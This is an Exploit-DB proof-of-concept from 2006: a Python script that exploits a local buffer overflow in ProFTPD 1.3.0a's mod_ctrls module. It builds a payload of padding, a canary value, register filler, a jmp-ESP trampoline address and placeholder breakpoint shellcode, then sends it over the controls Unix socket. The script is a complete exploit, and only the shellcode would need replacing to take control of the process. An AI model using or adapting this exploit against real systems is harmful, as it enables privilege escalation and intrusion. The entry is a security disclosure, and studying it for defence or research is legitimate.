ProFTPd 1.3.0a - 'mod_ctrls' 'support' Local Buffer Overflow (PoC)

EDB-ID:

2928


Platform:

Linux

Published:

2006-12-13

#    Core Security Technologies - Corelabs Advisory
#    ProFTPD Controls buffer overflow

import socket
import os, os.path,stat

#This works with default proftpd 1.3.0a compiled with gcc 4.1.2 (ubuntu edgy)
#
ctrlSocket = "/tmp/ctrls.sock"
mySocket = "/tmp/notused.sock"
canary = "\0\0\x0a\xff"
trampoline = "\x77\xe7\xff\xff" # jmp ESP on vdso
shellcode = "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc" # inocuous "int 3"

#Build Payload. The format on the stack is:
#
#AAAA = EBX BBBB = ESI CCCC = EDI DDDD = EBP EEEE = EIP
payload = ("A"*512) + canary + "AAAABBBBCCCCDDDD" + trampoline + shellcode

#Setup socket
#
if os.path.exists(mySocket):
       os.remove(mySocket)
s = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)
s.bind(mySocket)
os.chmod(mySocket,stat.S_IRWXU)
s.connect(ctrlSocket)

#Send payload
#
s.send("\1\0\0\0")
s.send("\1\0\0\0")
l = len(payload)
s.send(chr(l & 255)+chr((l/255) & 255)+"\0\0")
s.send(payload)

#Finished
#
s.close()

# milw0rm.com [2006-12-13]